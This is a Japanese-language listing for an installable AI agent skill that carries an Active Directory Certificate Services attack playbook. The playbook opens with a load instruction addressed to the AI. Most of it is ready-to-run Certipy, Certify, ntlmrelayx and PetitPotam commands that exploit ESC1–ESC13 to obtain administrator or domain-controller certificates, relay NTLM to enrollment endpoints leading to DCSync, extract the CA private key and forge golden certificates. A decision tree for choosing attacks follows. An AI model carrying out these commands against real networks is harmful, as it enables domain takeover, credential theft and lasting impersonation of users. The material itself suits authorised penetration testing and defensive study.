active-directory-certificate-services について
active-directory-certificate-servicesは、AD CSの攻撃経路を評価・理解するためのセキュリティスキルです。ESC手法と前提条件に沿って、証明書テンプレートやCAの設定不備、登録エンドポイントへのリレー、証明書による永続化を扱います。
主な機能
- 01AD CSの列挙
- 02ESC1~ESC13の設定不備手法
- 03登録エンドポイントへのNTLMリレー
- 04証明書ベースの永続化
- 05証明書の要求と偽造の手順
活用シーン
- 01AD CS環境の脆弱なテンプレートを調べる
- 02CA権限と登録エンドポイントの露出を評価する
- 03証明書によるなりすまし経路を確認する
- 04CA秘密鍵による永続化リスクを把握する
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill active-directory-certificate-servicesインストール後、Claude Code で/active-directory-certificate-servicesを入力して読み込まれたか確認します。
同梱ファイルADCS_ESC_MATRIX.md
詳細
スキル:AD CS 攻撃プレイブック — エキスパートガイド
AI LOAD INSTRUCTION:AD CS(Active Directory Certificate Services)のエキスパート向け攻撃テクニックです。ESC1~ESC13、証明書ベースの永続化、登録エンドポイントへの NTLM リレー、CA の設定ミスを扱います。ベースモデルは、登録に必要な前提条件の連鎖や ESC の条件の組み合わせを見落とします。
0. 関連するルーティング
詳しく調べる前に、以下の読み込みを検討してください。
- ESC4(テンプレートの変更)を可能にする ACL ベースの攻撃については、active-directory-acl-abuse を参照してください
- 証明書を取得した後の Kerberos テクニックについては、active-directory-kerberos-attacks を参照してください
- ESC8(HTTP 登録エンドポイントへのリレー)については、ntlm-relay-coercion を参照してください
- 取得した証明書をラテラルムーブメントに使用する方法については、windows-lateral-movement を参照してください
高度なリファレンス
以下が必要な場合は、ADCS_ESC_MATRIX.md も読み込んでください。
- 条件、影響、ツールのコマンドを含む ESC1~ESC13 のクイックリファレンステーブル
- ESC の各バリアントに対応するワンライナーの悪用コマンド
- 各手法の検出指標
1. AD CS アーキテクチャの概要
Certificate Authority (CA)
│
├── Enterprise CA (AD-integrated, issues certs based on templates)
│ ├── Certificate Templates (define who can enroll, what EKUs, subject settings)
│ ├── Enrollment endpoints: HTTP (certsrv), RPC, DCOM
│ └── Published in AD: CN=Public Key Services,CN=Services,CN=Configuration
│
├── Template Key Settings:
│ ├── Subject Alternative Name (SAN): who the cert represents
│ ├── Extended Key Usage (EKU): what the cert allows
│ ├── Enrollment permissions: who can request
│ └── Issuance requirements: manager approval, authorized signatures
│
└── Certificate → Kerberos Auth Flow:
User presents cert → PKINIT → KDC verifies → issues TGT
2. 列挙
# Certipy (recommended — comprehensive)
certipy find -u [email protected] -p password -dc-ip DC_IP -stdout
certipy find -u [email protected] -p password -dc-ip DC_IP -vulnerable -stdout
# Certify (from Windows)
Certify.exe find
Certify.exe find /vulnerable
Certify.exe cas # Enumerate CAs
# Manual LDAP query for templates
ldapsearch -H ldap://DC_IP -D "[email protected]" -w password \
-b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com" \
"(objectClass=pKICertificateTemplate)" cn msPKI-Certificate-Name-Flag pKIExtendedKeyUsage
3. ESC1 — 登録者によるサブジェクトの指定
条件:テンプレートで、登録者によるサブジェクト代替名(SAN)の指定、クライアント認証 EKU、および低権限での登録が許可されています。
# Certipy
certipy req -u [email protected] -p password -ca CA-NAME -target CA_HOST \
-template VulnTemplate -upn [email protected]
# Certify (Windows)
Certify.exe request /ca:CA-NAME /template:VulnTemplate /altname:administrator
# Authenticate with certificate
certipy auth -pfx administrator.pfx -dc-ip DC_IP
# → NT hash of administrator
4. ESC2 — 任意の目的の EKU
条件:テンプレートに「任意の目的」の EKU があるか、EKU がなく(下位 CA 証明書)、低権限で登録できます。
# Same as ESC1 exploitation
certipy req -u [email protected] -p password -ca CA-NAME -target CA_HOST \
-template AnyPurposeTemplate -upn [email protected]
5. ESC3 — 登録エージェント
条件:テンプレートで登録エージェント証明書の登録が許可されており、別のテンプレートで他のユーザーに代わって登録できます。
# Step 1: Request enrollment agent cert
certipy req -u [email protected] -p password -ca CA-NAME -target CA_HOST \
-template EnrollmentAgent
# Step 2: Use enrollment agent cert to request on behalf of admin
certipy req -u [email protected] -p password -ca CA-NAME -target CA_HOST \
-template UserTemplate -on-behalf-of 'DOMAIN\administrator' -pfx enrollmentagent.pfx
# Authenticate
certipy auth -pfx administrator.pfx -dc-ip DC_IP
6. ESC4 — テンプレート ACL の設定ミス
条件:低権限ユーザーに、証明書テンプレートオブジェクトへの書き込みアクセス権があります。
# Modify template to become ESC1 vulnerable
# Using Certipy:
certipy template -u [email protected] -p password -template VulnTemplate \
-save-old -dc-ip DC_IP
# Template is now ESC1 → exploit as ESC1
certipy req -u [email protected] -p password -ca CA-NAME -target CA_HOST \
-template VulnTemplate -upn [email protected]
# Restore original template (cleanup)
certipy template -u [email protected] -p password -template VulnTemplate \
-configuration old_config.json -dc-ip DC_IP
7. ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2
条件:CA で EDITF_ATTRIBUTESUBJECTALTNAME2 フラグが有効になっているため、すべてのテンプレートが ESC1 として悪用可能です。
# Check if flag is set
certutil -config "CA_HOST\CA-NAME" -getreg policy\EditFlags
# Exploit: request any template with SAN
certipy req -u [email protected] -p password -ca CA-NAME -target CA_HOST \
-template User -upn [email protected]
8. ESC7 — CA のオフィサー/マネージャー権限
条件:ユーザーが CA に対する ManageCA または ManageCertificates の権限を持っています。
# With ManageCA: enable SubCA template (always allows SAN)
certipy ca -u [email protected] -p password -ca CA-NAME -dc-ip DC_IP \
-enable-template SubCA
# Request SubCA cert with admin SAN (will be denied — "pending")
certipy req -u [email protected] -p password -ca CA-NAME -target CA_HOST \
-template SubCA -upn [email protected]
# With ManageCertificates: approve the pending request
certipy ca -u [email protected] -p password -ca CA-NAME -dc-ip DC_IP \
-issue-request REQUEST_ID
# Retrieve the issued certificate
certipy req -u [email protected] -p password -ca CA-NAME -target CA_HOST \
-retrieve REQUEST_ID
9. ESC8 — HTTP 登録への NTLM リレー
条件:CA に HTTPS 強制のない HTTP 登録エンドポイント(certsrv)があります。
# Setup relay to enrollment endpoint
ntlmrelayx.py -t http://CA_HOST/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# Coerce DC authentication (PetitPotam, PrinterBug, etc.)
PetitPotam.py RELAY_HOST DC01.domain.com
# DC authenticates → relay → certificate issued for DC01$
# Authenticate with certificate
certipy auth -pfx dc01.pfx -dc-ip DC_IP
# → DC01$ hash → DCSync
10. ESC9~ESC13 — 新たに発見された手法
ESC9:セキュリティ拡張なし(StrongCertificateBindingEnforcement = 0/1)
CT_FLAG_NO_SECURITY_EXTENSION が設定されている場合、脆弱な証明書マッピングによってなりすましが可能になります。
# Change victim's UPN to admin, request cert, change back
certipy shadow auto -u [email protected] -p pass -account victim -dc-ip DC_IP
ESC10:脆弱な証明書マッピング(レジストリベース)
ESC9 と類似していますが、DC の CertificateMappingMethods レジストリ値を悪用します。
ESC11:RPC 登録への NTLM リレー
NTLM を CA の RPC インターフェイスにリレーします(IF_ENFORCEENCRYPTICERTREQUEST が設定されていません)。
ntlmrelayx.py -t "rpc://CA_HOST" -rpc-mode ICPR -icpr-ca-name "CA-NAME" \
-smb2support --adcs --template DomainController
ESC13:OID グループリンク(発行ポリシー)
テンプレートの発行ポリシー OID がグループにリンクされているため、証明書によってそのグループのメンバーシップが付与されます。
certipy req -u [email protected] -p pass -ca CA-NAME -target CA_HOST \
-template ESC13Template
# Certificate grants membership in linked group
11. 証明書ベースの永続化
ゴールデン証明書
CA の秘密鍵があれば、任意の証明書を偽造できます。
# Extract CA private key (requires admin on CA server)
certipy ca -backup -u [email protected] -p password -ca CA-NAME -target CA_HOST
# Forge certificate for any user
certipy forge -ca-pfx ca.pfx -upn [email protected] -subject "CN=Administrator,CN=Users,DC=domain,DC=com"
# Authenticate with forged cert
certipy auth -pfx forged.pfx -dc-ip DC_IP
永続性:CA 証明書の有効期限が切れるか、CA の秘密鍵がローテーションされるまで有効です。
ForgeCert(Windows)
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword "pass" --Subject "CN=User" \
--SubjectAltName "[email protected]" --NewCertPath forged.pfx --NewCertPassword "pass"
12. AD CS 攻撃の判断ツリー
Targeting AD CS
│
├── Enumerate: certipy find -vulnerable
│
├── Vulnerable template found?
│ ├── Enrollee can set SAN + Client Auth EKU?
│ │ └── ESC1 → request cert with admin UPN (§3)
│ ├── Any Purpose EKU?
│ │ └── ESC2 → same as ESC1 (§4)
│ ├── Enrollment Agent template available?
│ │ └── ESC3 → enroll as agent, then on-behalf-of (§5)
│ └── OID group link in issuance policy?
│ └── ESC13 → request cert for group membership (§10)
│
├── Write access to template?
│ └── ESC4 → modify template to ESC1 condition (§6)
│
├── CA misconfiguration?
│ ├── EDITF_ATTRIBUTESUBJECTALTNAME2 flag?
│ │ └── ESC6 → any template becomes ESC1 (§7)
│ ├── ManageCA / ManageCertificates permission?
│ │ └── ESC7 → enable SubCA template, approve requests (§8)
│ └── HTTP enrollment without HTTPS?
│ └── ESC8 → NTLM relay to certsrv (§9)
│
├── Weak certificate mapping on DC?
│ ├── StrongCertificateBindingEnforcement < 2?
│ │ └── ESC9 → UPN manipulation + cert request (§10)
│ └── CertificateMappingMethods misconfigured?
│ └── ESC10 → similar UPN abuse (§10)
│
├── RPC enrollment without encryption?
│ └── ESC11 → NTLM relay to RPC (§10)
│
└── Already CA admin?
└── Golden certificate for persistence (§11)